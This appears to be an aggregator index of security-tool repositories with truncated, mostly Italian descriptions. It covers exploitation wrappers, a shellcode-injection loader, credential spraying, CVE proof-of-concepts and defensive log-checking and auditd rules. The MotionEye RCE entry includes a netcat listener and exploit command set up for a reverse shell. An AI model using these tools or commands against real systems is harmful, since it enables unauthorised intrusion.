cansina

Cansina Cansina è un'applicazione per la scoperta di contenuti web. È risaputo che le applicazioni web non pubblicano tutte le loro risorse o link pubblici, quindi l'unico modo per scoprire queste risorse è richiederle e controllare la risposta. Il compito di Cansina è aiutarti a fare richieste,...

kraken

Warning I have been reviewing the Kraken-Client code and since this was my first ever react app, its old, clunky and it needs major improvement the server needs some work too. In the next few weeks/months I will do my best to rewrite it in either updated React or in another framework. Please feel...

kraken

Attenzione Ho rivisto il codice di Kraken-Client e, poiché è stata la mia prima app React, è vecchio, goffo e necessita di grossi miglioramenti anche il server ha bisogno di lavoro. Nelle prossime settimane/mesi farò del mio meglio per riscriverlo in React aggiornato o in un altro framework...

project-black

Project Black Controllo dell'ambito, scanner dell'ambito e tracciatore di progressi per lavorare più facilmente su un progetto di bug bounty o pentest Anatoly Ivanov di Positive Technologies A cosa serve questo strumento? Lo strumento incoraggia un lavoro più metodico su pentest/bugbounty,...

ispy

ispy ispy : Scanner e sfruttatore di Eternalbluems17-010/BluekeepCVE-2019-0708 automazione Metasploit Come installare : root@kitploit: git clone https://github.com/Cyb0r9/ispy.git cd ispy chmod +x setup.sh ./setup.sh Schermate :...

pydbg

Questo repository non contiene un README...

CVE-2020-24597

Erstellt von HK CVE-2020-24597: Directory Traversal in commedia zu RCE Hinweis: Da Joomla Core 3.9.21 den Fehler nicht richtig behoben hat, wurde dieser Bug daher nicht ordnungsgemäß gepatcht. Ich kann diesen Patch leicht umgehen. Ich möchte dieses Geheimnis bewahren, bis dieser Bug vollständig...

PELoader

PELoader PELoader implementa varie tecniche di iniezione di shellcode e utilizza la libreria libpeconv per caricare file PE crittografati invece di iniettare shellcode in un thread remoto. Sono state implementate le seguenti tecniche: Module Stomping LoadLibrary Module Stomping NtMapViewOfSection...

spraykatz

Spraykatz Spruzza amore in tutto il mondo...

NanoMQ-Memory-Leak-Research

CVE-2026-36590: Negazione del servizio in EMQ NanoMQ v0.24.9 Questo repository contiene l'advisory pubblico e l'analisi tecnica per CVE-2026-36590, una vulnerabilità di negazione del servizio che colpisce EMQ NanoMQ v0.24.9. Nota di revisione Questo repository è pubblico per fornire un riferiment...

trufflehog

TruffleHog Find leaked credentials. 🔎 Now Scanning ...and more To learn more about TruffleHog and its features and capabilities, visit our product page. 🌐 TruffleHog Enterprise Are you interested in continuously monitoring Git, Jira, Slack, Confluence, Microsoft Teams, Sharepoint and more for...

trufflehog

TruffleHog Trova credenziali trapelate. 🔎 Ora in scansione ...e altro ancora Per saperne di più su TruffleHog e le sue funzionalità, visita la nostra pagina prodotto. 🌐 TruffleHog Enterprise Sei interessato a monitorare continuamente Git, Jira, Slack, Confluence, Microsoft Teams, Sharepoint e alt...

CVE-2025-6019-udisks-lpe-no-image

CVE-2025-6019-udisks-lpe-no-image Catena di escalation dei privilegi basata solo su script che utilizza CVE-2025-6019 e UDisks2 nessuna immagine del filesystem inclusa. Crediti, Contesto e Catena dell'Exploit Questo repository non introduce una nuova vulnerabilità. La tecnica di escalation dei...

CVE-2026-20182

📚 Repository di Ricerca sulla Sicurezza Informatica a Scopo Educativo Un repository per apprendere, testare e ricercare concetti di cybersecurity in ambienti controllati. ⚡ Utilizzo Semplice Usa questo progetto solo in ambienti sicuri e autorizzati, come: Macchine virtuali locali Container Docker...

CVE-2023-34840

CVE-2023-34840 Spiegazione della vulnerabilità Tutte le versioni di angular-ui-notification sono vulnerabili a XSS poiché la libreria non sanitizza l'input fornito dall'utente. Per utilizzare questa libreria in modo sicuro, è fortemente consigliato sanitizzare / codificare i parametri passati a...

citrix-logchecker

citrix-logchecker Analizza i log di Citrix Netscaler per rilevare segni di sfruttamento di CVE-2023-4966 Scritto da Otmar Lendl. Utilizzo: root@kitploit: ./citrix-anomaly.pl -d -v -h -p file -a X filedilog Questo script analizza i file syslog di Citrix Netscaler e cerca riconnessioni di sessione...

auditd-attack

auditd-attack Un set di regole per Linux Auditd mappato al Framework ATT&CK di MITRE Dichiarazione di esclusione di responsabilità Assicurati di testare queste regole prima di metterle in produzione. Questo set di regole NON è pensato per avere tutte le regole abilitate contemporaneamente anche s...

servu-cve-2026-28318-poc

CVE-2026-28318 — SolarWinds Serv-U "Content-Encoding: deflate" crash pre-autenticazione Analisi della causa principale + proof-of-concept DoS. L'avviso pubblico classifica la vulnerabilità come un denial-of-service / consumo di risorse non controllato non autenticato. L'analisi binaria mostra che...

CVE-2010-5230

CVE-2010-5230 Multiple vulnerabilità di percorso di ricerca non attendibili in MicroStation 7.1 consentono a utenti locali di ottenere privilegi tramite un file trojan 1 mptools.dll, 2 baseman.dll, 3 wintab32.dll o 4 wintab.dll nella directory di lavoro corrente, come dimostrato da una directory...

CVE-2025-60787_PoC

CVE-2025-60787 - MotionEye RCE RCE autenticata in MotionEye = 0.43.1b4 tramite bypass della convalida lato client sul campo imagefilename. Utilizzo root@kitploit: nc -lvnp 4444 python exploit.py -t http://127.0.0.1:8765 -p password -lh IP -lp 4444 Opzioni...